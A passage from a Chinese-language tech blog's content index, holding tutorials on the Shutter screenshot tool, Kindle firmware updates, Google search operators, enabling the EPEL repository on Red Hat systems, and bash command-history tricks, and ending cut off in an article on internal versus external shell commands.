還有個特別的小功能，就是重做最後擷圖動作（在工具列的最左邊），這個功能在製作軟體使用教學時會非常有用，通常在撰寫軟體教學文件時，會有每個步驟的說明加上圖片解說，如果使用一般的擷取軟體，你可能就要重複使用擷圖軟體去選取要擷取的視窗，動作很繁瑣。而如果改用 Shutter 的話，當你第一次選定了一格式窗之後，後續若要擷取同一個視窗的畫面時，只要按下這個按鈕即可。\nShutter 很聰明，你不用擔心它會不會抓錯，即便你在這中間有移動過視窗，甚至改變視窗大小，它都抓得到，因為他記錄的不是視窗的位置與大小，而是直接辨識該應用程式的視窗，所以它的判斷會非常精準。\n將 Shutter 設定為系統預設的畫面擷取程式 有些人會習慣使用使用 print screen 鍵來擷取螢幕的畫面，通常這個按鍵會呼叫系統預設的螢幕擷取程式，透過鍵盤的快速鍵很方便，但是通常系統提供的擷圖功能也很陽春。\n如果你感覺系統所提供的擷圖功能不好用的話，你可以使用 Shutter 來取代系統螢幕擷取程式。\n這裡以 Ubuntu 為例，在「系統設定值」中選擇「鍵盤」。\n選擇「捷徑鍵」籤頁。\n新增一個自定的捷徑鍵，名稱為 Sutter，而指令為 shutter -f。\n最後，再用滑鼠點選右方「已停用」的字樣，當它出現「新增捷徑鍵」時，再輸入自己定義的捷徑鍵，例如 print screen 鍵等。\n這樣當你按下自定的捷徑鍵時（如 print screen 鍵），系統就會呼叫 Shutter 來進行擷圖的動作。\n參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-screenshot-program-shutter/","summary":"\u003cp\u003e\u003ca href=\"https://shutter-project.org/\"\u003eShutter\u003c/a\u003e 是 Linux 系統下的一套桌面擷圖工具，如果你常常需要將桌面的畫面儲存下來，就可以考慮使用這樣的軟體。\u003c/p\u003e\n\u003cp\u003eShutter 是在 Linux 系統下的一套開放原始碼螢幕擷圖工具，它除了簡單的螢幕擷取功能（擷取特定區域、視窗或是全螢幕等）之外，還可以擷取網頁快照，另外也提供了許多相關的影像編輯功能，像是加上一些說明文字、箭頭、圓圈等，這些對於撰寫教學文件或網站的人而言很有幫助。\u003c/p\u003e","title":"Shutter：Linux 系統下的多功能桌面畫面擷取工具"},{"content":"這裡介紹如何升級亞馬遜 Amazon Kindle Paperwhite 的韌體。\nStep 1\n首先確認自己的 Kindle Paperwhite 韌體版本是哪一版，檢查的方法如下：\n開啟首頁右上角的選單，選擇「Settings」。 進到「Settings」頁面之後，再開啟右上角選單，從選單中選擇「Device Info」。 在 Device Info 中找到 Firmware Version，看看是不是最新的，如果是最新的版本，就不用再更新了：\nStep 2\n到亞馬遜官方網站下載最新的韌體，這個韌體是一個二進位檔案，檔案名稱會類似 update_kindle_X.X.X.bin。\n以 5.3.8 版為例，他的檔名就是 update_kindle_5.3.8.bin，而這個檔案有點大（171 MB 左右），下載時要稍微等一下。\nStep 3\n把 Kindle 以 USB 傳輸線接上電腦，將剛剛下載下來的韌體 update_kindle_5.3.8.bin 放進 Kindle 的根目錄中（一定要放在根目錄），等傳輸完成之後，再安全的移除 USB 連線。\nStep 4\n接著就要開始更新韌體了，這時候請確認您的 Kindle 電量是充足的，如果您的 Kindle 快沒電了，請記得插上 USB 充電，如果更新到一半突然沒電，可能會造成 Kindle 損壞，這個很重要，不是開玩笑的！\nStep 5\n由首頁的選單，選擇「Settings」選單，然後在從選單中選擇「Update Your Kindle」，這樣 Kindle 就會開始升級韌體了。\n如果剛剛的韌體檔案沒有傳輸完成或是你的 Kindle 韌體版本已經是最新版時，這個選項就會變成灰色（無法使用）。\n選擇「Update Your Kindle」之後，還會在出現一個確認訊息，選擇「OK」之後就會開始真正的升級動作。\n這個動作會需要幾分鐘，請有耐心慢慢等它，更新的過程千萬不要關閉 Kindle，否則可能會把整台 Kindle 搞壞。\nStep 6\n更新完成後，它會自動重新開機，重新開機後就完成了，這時候就可以檢查一下韌體的版本是不是剛剛下載下來的最新版。\n確認版本沒錯，大功告成！\n","permalink":"https://blog.gtwang.org/life/amazon-kindle-paperwhite-update-firmware/","summary":"\u003cp\u003e這裡介紹如何升級亞馬遜 Amazon Kindle Paperwhite 的韌體。\u003c/p\u003e\n\u003cp\u003e\u003cspan class=\"block-label\"\u003eStep 1\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e首先確認自己的 Kindle Paperwhite 韌體版本是哪一版，檢查的方法如下：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e開啟首頁右上角的選單，選擇「Settings」。\u003c/li\u003e\n\u003cli\u003e進到「Settings」頁面之後，再開啟右上角選單，從選單中選擇「Device Info」。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e在 Device Info 中找到 Firmware Version，看看是不是最新的，如果是最新的版本，就不用再更新了：\u003c/p\u003e","title":"更新亞馬遜 Amazon Kindle Paperwhite 韌體"},{"content":"這裡介紹各種 Google 搜尋引擎的使用方式與技巧，了解這些技巧可以讓你在搜尋時更有效率。\nGoogle 搜尋引擎是目前最普遍得搜尋引擎之一，不管是學生、上班族、研究人員等各行各業都會使用它，但是卻很少人注意到其實 Google 提供了很多的進階搜尋功能，如果善用這些功能可以讓搜尋動作更有效率，甚至可以有額外的收穫。\n善用 Google 搜尋的籤頁 最簡單的搜尋技巧就是善用 Google 搜尋的籤頁，在搜尋結果的上方會有一些選項，包含「網頁」、「圖片」、「地圖」等等，使用這些籤頁可以幫助你更快找到想找的東西。\n這個功能很簡單，應該大部分的人都有在使用它，如果你還沒注意到這個功能，那麼建議你可以使用看看。\n使用引號搜尋 當你要搜尋某個特定關鍵字時，可以使用引號包起來，這可以使 Google 更明確知道你想要搜尋的東西，不會幫你做過多的猜想。\n舉個實際的例子，若想搜尋「statistical programming」這個特定主題，一般如果直接在 Google 搜尋中直接輸入這個詞來搜尋，可能有一些只有「programming」或只有「statistical」字眼的網頁也會出現在搜尋結果中，而如果加入引號搜尋的話，Google 就會很精準的列出含有「statistical programming」的網頁。\n這個方式適用於很明確知道要搜尋的主題與關鍵字的狀況，而如果你不是很確定關鍵字是什麼的話，就不適合使用這樣的方式。\n使用減號排除關鍵字 有時候不同的主題會有相同的關鍵字，而當我們使用這樣的關鍵字搜尋時，就會出現所有跟這個關鍵字相關的主題，但通常我們有興趣的只是其中一個而已，這種時候就可以利用減號（-）排除某些不要的主題。\n例如以「Mustang」搜尋的時候，會同時找到 Ford 的汽車與房屋的資訊，如果你只想要看房屋的資訊，那麼你就可以嘗試使用「Mustang -cars」來排除一些汽車的搜尋結果，或是「Mustang -汽車 -car -ford」這樣加入更多排除條件的搜尋方式。\n使用 site: 搜尋特定網站 若要搜尋某個網站的內容時，可以使用 site: 來指定網站，例如「linux site:www.gtwang.org」就會從 www.gtwang.org 這個網站中搜尋含有 linux 這個關鍵字的內容。\n使用 link: 找尋含有特定連結的網頁 Google 除了可以直接找尋網頁之外，也可以使用 link: 來尋找含有特定連結的網頁。例如若要找尋有連結至 New York Times 網站的網頁，就可以使用「link:nytimes.com」。\n使用萬用字元（Wildcard）搜尋 萬用字元（*）是 Google 搜尋最好用的功能之一，當你不是很確定關鍵字的時候，那些不確定的方就可以使用萬用字元，這些萬用字元的部份會自動被 Google 用其他的字取代。\n一般在搜尋音樂歌詞的時候，如果你聽到一首歌的某一段，但是又不是記的很清楚的時候，就可以將那些記不清楚的部份用萬用字元取代，這樣就可以很容易找到你要的歌詞網頁了。\n假設我們要查的一句歌詞是 Come together right now over me，但是灰色的部份我們忘記了，這時候就可以使用「\u0026quot;Come * right now * me\u0026quot;」來查詢。\n使用 related: 找尋相關網站 如果想要找尋跟某個特定網站相類似的網站，可以使用「related:」這個功能。\n如果你喜歡瀏覽某一類型的網站，例如 engadget 這類的科技新聞網站，而對於那些常常看的網站也看膩了，這時候就可以使用「related:www.engadget.com」靠 Google 找尋一些其他類似 Engadget 的網站，這樣的搜尋方式不會列出該網站的資訊，但是可以找出網路上許多相似的網站，你可以利用這個好用的功能發掘一些你喜歡的網站。\n使用 Google 做數學運算 Google 除了用來搜尋之外，也可以當作計算機來使用，例如查詢「5 * 5 + 8」的話，在搜尋結果上方就會出現一個計算機，顯示這個算式的答案。\n而如果輸入一般的數學函數，Google 就會幫你畫出來，例如「sin(x) + x*cos(x)」：\n甚至三維的函數也可以靠 Google 用 WebGL 畫出來，例如「sin(x/3) * cos(y/3)」：\n使用 OR 同時搜尋多個關鍵字 如果想要同時搜尋多個關鍵字，可以使用「OR」這個搜尋運算子，如果不使用 OR 的話，通常在搜尋結果中只會顯示包含所有字詞的網頁。\n例如「\u0026quot;world cup location 2014\u0026quot; OR \u0026quot;world cup location 2018\u0026quot;」就會列出 2014 或 2018 年世界杯的舉辦地點。\n搜尋特定數字範圍 以兩個英文句點（..）分隔數字（中間不要有空白），即可查看包含該範圍內數字的搜尋結果，例如日期、價格、度量衡等。例如「camera $50..$100」就會搜尋 50 美金到 100 美金之間的相機。\n除了指定區間之外，亦可僅使用一個數字搭配兩個英文句點來指定上限或下限，例如「daytona 500 winners ..2000」\n別把事情想得太複雜 Google 其實很聰明，有時候你不用太花腦筋去想該怎麼搜尋，如果你想要搜尋附近的加油站，可以直接輸入「附近 加油站」去找，Google 會定位出你所在的位置，然後根據你的位置給你附近的加油站資訊。\n漸進式搜尋 有時候 Google 可能沒辦法一次就把你想要的答案給你，若是遇到這樣的狀況，可以試試看使用漸進式的搜尋方式，一開始先用最簡單的關鍵字搜尋，然後慢慢的逐漸增加，例如：\n第一次：「面試」 第二次：「準備面試」 第三次：「如何準備面試」 這樣可以逐漸縮小搜尋結果的範圍，不要一次就使用最多的關鍵字來搜尋，如果一次就使用最詳盡的關鍵字，就有可能就會遺漏掉某些搜尋結果，因為網路上有非常多的網站，而每個網站所用的關鍵字可能都不同，使用較少的關鍵字有時候也可能會找到一些你想要的網站。\n以網站會使用的語言搜尋 有時候大家會使用一些口語的字詞來搜尋，但是通常一般的網站用語會跟一般的口語不盡相同，這樣會造成搜尋的結果不如預期，這時候就可以思考一般網站的用語是哪些，改用這些網站會用的語言來搜尋。\n例如手機故障時，若想要找店家維修你可能會查詢「手機故障」，但這個用語在一般手機維修網站的出現頻率可能不高，這樣就會比較不容易找到維修的資訊，但是直接改用「手機維修」就會有比較好的搜尋結果，甚至 Google 還會很聰明的幫你找到附近的維修店家。\n使用精簡扼要的關鍵字 Google 會依照你給他的所有關鍵字來比對，如果你給他太多關鍵字時，搜尋結果就會被限縮到在比較小的範圍內，這樣有時候反而會找不到你要的網頁，例如若使用「到底這附近的加油站在哪裡阿」，可能反而找不到任何有用的資訊，直接用「附近的加油站」或是「附近 加油站」就可以了。\n單字拼錯其實無所謂 Google 搜尋引擎很聰明，如果你在輸入關鍵字時，把單字拼錯了，它通常還是有辦法找到你要的結果，例如入想搜尋 「statistical programming」，但是卻輸入成「statistial progrmming」，這時候 Google 就會自動修正錯誤的單字，然後顯示正確的結果。\n嘗試不同的敘述用語 很多時候同一件事情會有許多不同的敘述方式，當你一直找不到你要的資訊時，可以嘗試換一種敘述方式來搜尋，例如當你在安裝 Ubuntu 的驅動程式，而老是裝不起來時，你可能會搜尋「How to install drivers in Ubuntu」，如果找不到你要的資訊，你就可以再嘗試看看「Troubleshoot driver problems Ubuntu」。\n這個例子可能不是很恰當，但原則上就是當你找不到你要的東西的時候，就可以換一種敘述方式，可能會有所幫助。\n使用 filetype: 找尋特定檔案類型 Google 可以使用 filetype: 指定要搜尋的檔案類型，這個功能也是常常被大家所遺忘的，有時候你在網路上看過一些 PDF 檔或是投影片，而過了一段時間後，又再度需要這些資料時，就可以使用這樣的方式來搜尋。\n例如想找尋 vim 相關的 PDF 檔，就可以使用「vim filetype:pdf」來搜尋。\n使用 Google 做單位換算 Google 也可以用來做一些常用的單位換算，例如若要查十塊美金折合多少台幣，就可以使用「10 usd to twd」，若不習慣英文的話，也可以使用中文「10 美金 to 台幣」。\n除了貨幣之外，Google 也可以進行長度的單位換算，例如若要將 10 英里換算為公里，則使用「10 mile to km」。\n使用 Google 追蹤包裹 Google 整合一些國際大型的快遞公司網站，當你直接在 Google 搜尋中輸入 UPS、USPS 或 Fedex 的包裹追蹤碼，他就會直接顯示你的包裹資訊，這可以讓你不用再自己連上該快遞公司的網站去查詢，會方便許多。\n參考資料 lifehack ","permalink":"https://blog.gtwang.org/tips/tips-use-google-search-efficiently/","summary":"\u003cp\u003e這裡介紹各種 Google 搜尋引擎的使用方式與技巧，了解這些技巧可以讓你在搜尋時更有效率。\u003c/p\u003e\n\u003cp\u003eGoogle 搜尋引擎是目前最普遍得搜尋引擎之一，不管是學生、上班族、研究人員等各行各業都會使用它，但是卻很少人注意到其實 Google 提供了很多的進階搜尋功能，如果善用這些功能可以讓搜尋動作更有效率，甚至可以有額外的收穫。\u003c/p\u003e","title":"各種 Google 搜尋引擎的使用方式與技巧"},{"content":"這裡介紹如何讓 Red Hat 系列的 Linux（如 RHEL、CentOS 與 Scientific Linux 等）透過 EPEL Repo 來安裝一些官方沒有收錄的軟體。\nEPEL（Extra Packages for Enterprise Linux）是一個由 Fedora Special Interest Group 社群所維護的套件庫，其主要目的是提供各種企業級的 Linux 一些額外的高品質套件，這個套件庫可用於 Red Hat Enterprise Linux（RHEL）、CentOS 與 Scientific Linux（SL）等。\n若想要使用 EPEL，可以直接下載它的 rpm 套件安裝。安裝之前，首先要確認自己的 Linux 版本是哪一版，目前主流的版本有兩種，分別是 EL5 與 EL6，如果是 EL6 的 Linux 版本就下載 EL6 的套件：\nwget http://mirror01.idc.hinet.net/EPEL/6/i386/epel-release-6-8.noarch.rpm rpm -ivh epel-release-6-8.noarch.rpm 若是比較舊的 EL5，則使用\nwget http://mirror01.idc.hinet.net/EPEL/5/i386/epel-release-5-4.noarch.rpm rpm -ivh epel-release-5-4.noarch.rpm 只是版本不同而已，指令都是一樣的。\n除了 rpm 之外，亦可使用 yum 安裝：\nyum install epel-release-6-8.noarch.rpm 若要列出所有的套件庫（repository），可以使用\nyum repolist 或是\nyum -v repolist | less 若要列出所有 EPEL 中的套件，可以使用\nyum --disablerepo=\u0026#34;*\u0026#34; --enablerepo=\u0026#34;epel\u0026#34; list available 若要搜尋 EPEL 中的套件，可以使用\nyum --disablerepo=\u0026#34;*\u0026#34; --enablerepo=\u0026#34;epel\u0026#34; search package_name 其中 package_name 是要搜尋的套件名稱。例如若要搜尋 nginx 套件，則使用\nyum --disablerepo=\u0026#34;*\u0026#34; --enablerepo=\u0026#34;epel\u0026#34; search nginx 若要安裝 EPEL 中的套件，則可以使用\nyum --disablerepo=\u0026#34;*\u0026#34; --enablerepo=\u0026#34;epel\u0026#34; install nginx 上面這些 yum 指令都加上 --disablerepo=\u0026quot;*\u0026quot; 與 --enablerepo=\u0026quot;epel\u0026quot; 這兩個參數，意思是停用所有其他的套件庫，只使用 EPEL，如果你不在意系統使用哪一個套件庫，你也可以直接使用一般的方式來安裝軟體，例如：\nyum install nginx 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/redhat-linux-enable-epel-repo/","summary":"\u003cp\u003e這裡介紹如何讓 Red Hat 系列的 Linux（如 RHEL、CentOS 與 Scientific Linux 等）透過 EPEL Repo 來安裝一些官方沒有收錄的軟體。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://docs.fedoraproject.org/en-US/epel/\"\u003eEPEL\u003c/a\u003e（Extra Packages for Enterprise Linux）是一個由 Fedora Special Interest Group 社群所維護的套件庫，其主要目的是提供各種企業級的 Linux 一些額外的高品質套件，這個套件庫可用於 Red Hat Enterprise Linux（RHEL）、CentOS 與 Scientific Linux（SL）等。\u003c/p\u003e","title":"Red Hat 系列 Linux 啟用 EPEL Repo 教學（包含 RHEL、CentOS 與 Scientific Linux）"},{"content":"這裡教大家如何善用 Linux 指令歷史紀錄，讓你在使用終端機的命令列時更有效率。\n如果你是一個 Linux 的老手，你應該會非常習慣在桌面上開啟終端機，靠著鍵盤來進行主要的工作，像我個人平常的工作就是這樣，UNIX 與 Linux 對我個人而言最棒的功能就是終端機的命令列，只要對於各種的指令夠熟悉，能夠做的事情就會超乎你的想像。\n然而長時間在終端機中以指令來操作時，如果能善用命令列的各種功能，將對於工作效率非常有幫助，其中指令的歷史紀錄（history）就是一個很常見、也非常有用的功能，如果你常常使用終端機，這個功能很值得一學。\n如果你還沒有很習慣在終端機中敲一堆指令做事，那也沒關係，指令的歷史紀錄也可以幫助你在使用命令列時不用老是敲一堆的指令，甚至你會感覺其實歷史紀錄的功能有時候也很炫。（當你對於 Linux 的各種指令慢慢熟悉之後，就會了解為什麼那麼多人都那麼喜歡直接使用終端機工作，當然這需要一些時間與毅力。）\n以下是一些關於 history 指令的一些使用技巧與範例。\n使用 Ctrl + r 搜尋指令歷史紀錄 這個搜尋指令歷史紀錄的功能非常好用，它有可能是你最常用的一個功能！\n在使用命令列時，如果你之前已經執行過一個很長的指令，而現在要再執行一次相同或是類似的指令，大家最常作的動作就是用鍵盤上面的向上鍵，找尋之前執行過的歷史紀錄，但是如果這個指令是比較早以前執行過的，那就要一直按向上鍵慢慢找，有時候找的時間搞不好都比重新敲指令來的長（我以前就是這樣）。\n其實還有另一種方式，可以讓你更節省時間，就是使用 Ctrl + r 來直接搜尋指令的歷史紀錄，這就好像你在一般的文字檔中用一些關鍵字來搜尋一樣，使用這個功能你就可以直接輸入一些關鍵字來找尋之前執行過的指令，假設我們想要找尋有 apt 字眼的指令，那麼你可以這樣做： 在指令列上直接按下鍵盤的 Ctrl + r，這時候命令提示字元（prompt）就會變成類似\n(reverse-i-search)`': 這個樣子，這個時候就可以直接輸入要搜尋的關鍵字，也就是「apt」。而在你輸入的同時，你會看到它也會不斷的顯示搜尋結果，當你看到你要的指令找到的後，就可以不用再繼續輸入了，通常如果你的關鍵字選得好，只要輸入幾個字母就可以找到你要的指令了。\n當你看到你要的指令之後，如果你只是想要執行相同的指令，可以直接按下 Enter 鍵執行，但是如果你想要稍微修改一下指令的內容，那麼你可以按下鍵盤的左鍵或右鍵，他就會跳回一般命令提示字元的模式，這樣你就可以自己任意修改了，修改好了之後，就跟一般的指令一樣直接執行即可。\n另外如果你在找尋指令時，剛好關鍵字選的不好，有太多指令都有相同的關鍵字時，你可以在輸入完關鍵字之後，再按下 Ctrl + r 找下一個含有關鍵字的指令，這就好像在文字檔中搜尋時，不斷地按「下一個」的概念。\n舉例來說，如果我們要找尋 vi xorg.conf 這個指令，而當你輸入「vi」這個關鍵字之後，發現有很多指令都含有「vi」這個字眼，這時候就可以重複按下 Ctrl + r，直到我們找到我們要的指令為止，而找到之後，按下 Enter 就可以直接執行。\n這個功能一開始不是那麼直覺，但是等你習慣之後，就會發現它很好用，而且當你的朋友看到你會這招，也會感覺你很厲害。:)\n使用 HISTTIMEFORMAT 顯示時間戳記 一般在命令列執行 history 時，在預設的情況下輸出會包含指令的編號與指令內容，就像這樣：\n664 sudo su 665 history 666 ls 667 ls -al 668 history 而有時候如果想要仔細檢查過去執行過的指令，並對照系統的狀態時，可以透過設定 HISTTIMEFORMAT 這個環境變數來顯示時間戳記：\nexport HISTTIMEFORMAT=\u0026#39;%F %T \u0026#39; history 輸出就會變成\n664 2013-10-07 21:37:34 sudo su 665 2013-10-07 21:37:37 history 666 2013-10-07 21:41:49 ls 667 2013-10-07 21:41:51 ls -al 668 2013-10-07 21:41:53 history 這樣就可以很清楚看到哪個時間點執行過哪個指令。\n重複執行上一個指令 如果要重複執行上一個指令，有四種方式可以使用：\n使用鍵盤的向上鍵，它可以觀看之前執行過的指令，而按下 Enter 鍵即可執行。 輸入 !! 再按下 Enter 鍵，就會執行上一個指令。 輸入 !-1 再按下 Enter 鍵，就會執行上一個指令。 按下 Ctrl + P 會顯示上一個指令，而按下 Enter 鍵即可執行。 從指令歷史紀錄中選擇一個指令執行 有時候當你已經幾乎忘記之前執行過哪些指令時，你可能會直接使用 history 指令查閱所有的指令，就像這樣：\nhistory | more 輸出類次這樣\n1 service network restart 2 exit 3 id 4 cat /etc/redhat-release 然後找到要執行的指令再用滑鼠複製貼上，而如果你只是要重複執行某一個指令的話，可以直接使用 !n 的方式，這裡的 n 就是 history 輸出中的編號，以這個例子來說，如果你想要執行編號 4 的 cat /etc/redhat-release 這行指令，就可以使用\n!4 輸出為\ncat /etc/redhat-release Fedora release 9 (Sulphur) 你可以注意到在輸出的第一行會把實際執行的指令顯示出來，第二行之後才是該指令執行後的輸出，這樣也可以方便確認這個是不是你所要執行的指令。\n執行以某個關鍵字開頭的指令 如果想要從令的歷史紀錄中執行一個以某個關鍵字開頭的指令，可以使用 !keyword，其中 keyword 就是指定的關鍵字，這樣的方式會從歷史紀錄中找出最近的一個符合的指令來執行。\n例如有時候我們會在命令列做一系列的工作，但定期會要檢查系統的行程（process）狀態，也就是使用類似 ps aux | grep yp 這樣的指令，這種狀況除了第一次需要以鍵盤輸入之外，後來重復執行時，就可以直接使用\n!ps 這樣的方式，也就是執行上一個以 ps 開頭的指令，當然如果你在工作時，都不會使用到以 p 開頭的其它指令，那你也可以使用\n!p 這指令個輸出也會先把實際的指令顯示出來：\nps aux | grep yp root 16947 0.0 0.1 36516 1264 ? Sl 13:10 0:00 ypbind root 17503 0.0 0.0 4124 740 pts/0 S+ 19:19 0:00 grep yp 更改指令歷史紀錄的大小 一般在預設的狀況下，歷史記錄會保留 500 筆（至少目前的 bash 是這樣），而這個值可以透過 HISTSIZE 與 HISTFILESIZE 兩個環境變數來指定，HISTSIZE 是用來指定歷史紀錄要保留的筆數，而 HISTFILESIZE 則是指定要儲存在檔案中歷史記錄筆數。\n例如若只想要儲存 450 行的歷史紀錄，可以直接在 ~/.bash_profile 中加入下面兩行：\nexport HISTSIZE=450 export HISTFILESIZE=450 然後登出在重新登入之後，就會生效了。\n更改指令歷史紀錄檔檔案名稱 在預設的狀況下，指令歷史紀錄會儲存在 ~/.bash_history 這個檔案中，如果想要更改這個預設的儲存位置，可以使用 HISTFILE 這個環境變數來指定。例如若要將儲存位置改成 ~/.commandline_warrior，則可在 ~/.bash_profile 中加入一行\nHISTFILE=~/.commandline_warrior 不過更換這個儲存位置可能不常用。\n刪除連續且重複的歷史紀錄 有時候我們會連續重復執行同一個指令好幾次，而在這樣的狀況下，在歷史紀錄中也會造成連續且重復的紀錄，而這樣的記錄其實是沒有什麼用的，若要刪除這些連續且重複的歷史紀錄，可以將 HISTCONTROL 這個環境變數設定為 ignoredups。\n舉例來說，如果我們執行三次同樣的 pwd 指令，然後再以 history 查詢：\npwd pwd pwd history | tail -4 輸出的時候就會有重復的問題\n267 pwd 268 pwd 269 pwd 270 history | tail -4 而設定了 HISTCONTROL 這個環境變數之後，就會改善：\nexport HISTCONTROL=ignoredups pwd pwd pwd history | tail -3 輸出就會變成\n271 export HISTCONTROL=ignoredups 272 pwd 273 history | tail -3 這樣多餘的 pwd 就會被刪掉。\n刪除所有重複的歷史紀錄 上一個例子是只將歷史紀錄中連續且重複的指令刪除，而如果想要刪除整個歷史紀錄中所有重複的指令，可以把 HISTCONTROL 設定為 erasedups。例如：\nexport HISTCONTROL=erasedups pwd service httpd stop history | tail -3 輸出為\n38 pwd 39 service httpd stop 40 history | tail -3 而將 HISTCONTROL 設定為 erasedups 之後：\nls -ltr service httpd stop history | tail -6 輸出為\n35 export HISTCONTROL=erasedups 36 pwd 37 history | tail -3 38 ls -ltr 39 service httpd stop 40 history | tail -6 這裡的第二個 pwd 就不見了。\n讓某些指令不要紀錄在歷史紀錄中 在使用命令列時，如果想讓某些指令不要被紀錄在歷史紀錄中，可以將 HISTCONTROL 設定為 ignorespace，在這樣的情況下，所有以空白開頭的指令都不會被紀錄起來，例如：\nexport HISTCONTROL=ignorespace ls -ltr pwd service httpd stop history | tail -3 輸出為\n67 ls -ltr 68 pwd 69 history | tail -3 請注意這裡的第三行指令 service httpd stop 之前有一個空白字元，而這行指令因為是以空白字元開頭的，所以就不會被紀錄起來。\n有些系統的 HISTCONTROL 預設值是 ignoreboth，這個值代表同時啓用 ignoredups 與 ignorespace，這種狀況除了會忽略重複的指令之外，也會把以空白開頭的指令拿掉。\n暫時清除所有的歷史紀錄 使用向上鍵或是 Ctrl + r 查詢指令的歷史紀錄是個很不錯的功能，但是如果你的歷史紀錄累積了很久，常常搜尋時就會找到以前沒用的指令，這種時候就可以將以前的歷史紀錄暫時清除：\nhistory -c 這樣會把目前的所有歷史紀錄暫時全部清乾淨，而在重新登入之後，還是會回覆以前紀錄，不用擔心把不該刪的東西砍了。（至少我測試的結果是這樣）\n上一行指令參數的替換 有時候我們在使用指令的歷史紀錄時，會需要執行不同的指令，但是其參數是一樣的，例如：\nls long-long-filename1.txt long-long-filename2.txt cat long-long-filename2.txt 在這種狀況下，在執行第二行指令時，大部分的人都會直接使用向上鍵，叫出上一個指令，然後再把第一個 ls 改成 cat，再砍掉沒用的 long-long-filename1.txt，但是其實可以有更快的方式，就是使用歷史紀錄替換的功能：\nls long-long-filename1.txt long-long-filename2.txt cat !$ 這裡的 !$ 就是指上一行指令的最後一個參數，在這裡就是 long-long-filename2.txt，這樣執行起來跟原來的使用方式是一模一樣的，只不過在執行前他會先顯示實際執行的指令，之後才是該指令的輸出，這個例子第二行指令的輸出就會類似這樣：\ncat long-long-filename2.txt ... 如果想要替換成上一行指令的第一個參數，則可使用 !^：\nls long-long-filename1.txt long-long-filename2.txt cat !^ 輸出會像這樣\ncat long-long-filename2.txt ... 若要替換成上一行指令所有的參數，則可使用 !*：\nls long-long-filename1.txt long-long-filename2.txt cat !* 這樣輸出就會變成：\ncat long-long-filename1.txt long-long-filename2.txt ... 如果上一行的參數真的很多，而你只要其中的一個，不是第一個也不是最後一個，這種情況也可以用 !:n，直接指定要用哪一個，其中 n 是一個數字，指定要替換第幾個參數。例如若要替換成上一行指令的第二個參數：\nls long-long-filename1.txt long-long-filename2.txt long-long-filename3.txt cat !:2 輸出為\ncat long-long-filename2.txt ... 指定指令參數的替換 上面介紹的指令參數替換是針對上一行指令的參數，若要替換成更早之前的指令參數，那麼也可以直接使用指令開頭的關鍵字來指定，像若要替換一個以 key 字眼開頭指令的最後一個參數，就使用 !key:$，例如：\nls long-long-filename1.txt long-long-filename2.txt long-long-filename3.txt pwd cat !ls:$ 輸出為\ncat long-long-filename3.txt ... 而若要替換成其他位置的參數，用法都類似。第一個參數：\nls long-long-filename1.txt long-long-filename2.txt long-long-filename3.txt pwd cat !ls:^ 輸出為\ncat long-long-filename1.txt ... 所有參數：\nls long-long-filename1.txt long-long-filename2.txt long-long-filename3.txt pwd cat !ls:* 輸出為\ncat long-long-filename1.txt long-long-filename2.txt long-long-filename3.txt ... 第二個參數：\nls long-long-filename1.txt long-long-filename2.txt long-long-filename3.txt pwd cat !ls:2 輸出為\ncat long-long-filename2.txt ... 停用指令歷史紀錄 如果你想要直接停用指令歷史紀錄的功能，可以將 HISTSIZE 設為 0，這樣所有的指令都不會被記錄下來：\nexport HISTSIZE=0 history 輸出就什麼都沒有。\n讓歷史紀錄忽略某些常用指令 一般在命令列中，我想大家最常用的指令就是 ls 這類的簡單指令，而這樣的指令其實放在歷史紀錄中沒什麼用處，只是多佔空間而已，如果你想要讓歷史紀錄不要記錄這些沒用處的指令，可以透過設定 HISTIGNORE 這個環境變數來達成，你可以將不想記錄的指令列表放進這個變數中，不同指令以冒號分隔，這樣這些指令就會被自動忽略。例如：\nexport HISTIGNORE=\u0026#34;pwd:ls:ls -ltr:\u0026#34; pwd ls ls -ltr service httpd stop history | tail -3 輸出為\n79 export HISTIGNORE=\"pwd:ls:ls -ltr:\" 80 service httpd stop 81 history 這樣那些沒用的指令就不會佔去歷史紀錄的空間。這裡要注意一點，在 HISTIGNORE 指定要忽略的指令時，必須要很明確指定要忽略的指令，即便是只有參數不同，也會被視為不同的指令，像 ls 與 ls -ltr 這兩個就會被當成是不一樣的，所以在這個例子中，如果你執行 ls -l 的話，也還是會被記錄起來。\n列出最近幾筆歷史紀錄 在看歷史紀錄時，因為歷史紀錄通常都很多，一般人會使用\nhistory | more 這樣的方式來看，而若要看最近的幾筆記錄，可以使用 history n 來看最近 n 筆記錄，例如若要看最近 10 筆紀錄，則使用：\nhistory 10 參考資料 The Geek Stuff Tecmint The Geek Stuff ","permalink":"https://blog.gtwang.org/linux/mastering-linux-command-line-history/","summary":"\u003cp\u003e這裡教大家如何善用 Linux 指令歷史紀錄，讓你在使用終端機的命令列時更有效率。\u003c/p\u003e\n\u003cp\u003e如果你是一個 Linux 的老手，你應該會非常習慣在桌面上開啟終端機，靠著鍵盤來進行主要的工作，像我個人平常的工作就是這樣，UNIX 與 Linux 對我個人而言最棒的功能就是終端機的命令列，只要對於各種的指令夠熟悉，能夠做的事情就會超乎你的想像。\u003c/p\u003e","title":"Linux 指令歷史紀錄（History）的操作教學與範例"},{"content":"這裡介紹 UNIX/Linux 系統中內部（internal）指令與外部（external）指令的差異所在。\n一般的 UNIX 或 Linux 系統中的指令可分為兩種，分別為內部（internal）指令與外部（external）指令，對於一般的 Linux 新手而言，可能很少注意到這個問題，而了解它們之間的差異對於撰寫指令搞會有一些幫助。以下我們會說明這兩種指令的定義與其中的差別。\n所謂的內部指令就是指內建在 shell 中的指令，也就是說當你執行這類的指令時，系統並不會因為要執行這個指令而產生額外的行程（process），所以內部指令的執行效率非常高，例如最常用的更換工作目錄指令 cd 就是一個典型的內部指令，執行這個指令時，不會產生任何額外的行程，只會單純變更工作目錄而已。除了 cd 之外，也有很多指令都是屬於內部指令，如：source、bg、fg 與 pwd 等。\n外部指令就是指那些不是內建於 shell 中的指令，這類的指令通常是一個二進位的執行檔或是一個可執行的指令稿（script），在執行這類的指令時，系統就會產生而外的行程，所以執行效率也就會比較低一些。一些常見的外部指令有：cat、mv、sed 與 perl 等。\n如果想要知道一個指令是屬於哪一種，可以只用 type command 來判斷，其中 command 就是想要檢查的指令名稱。例如若要檢查 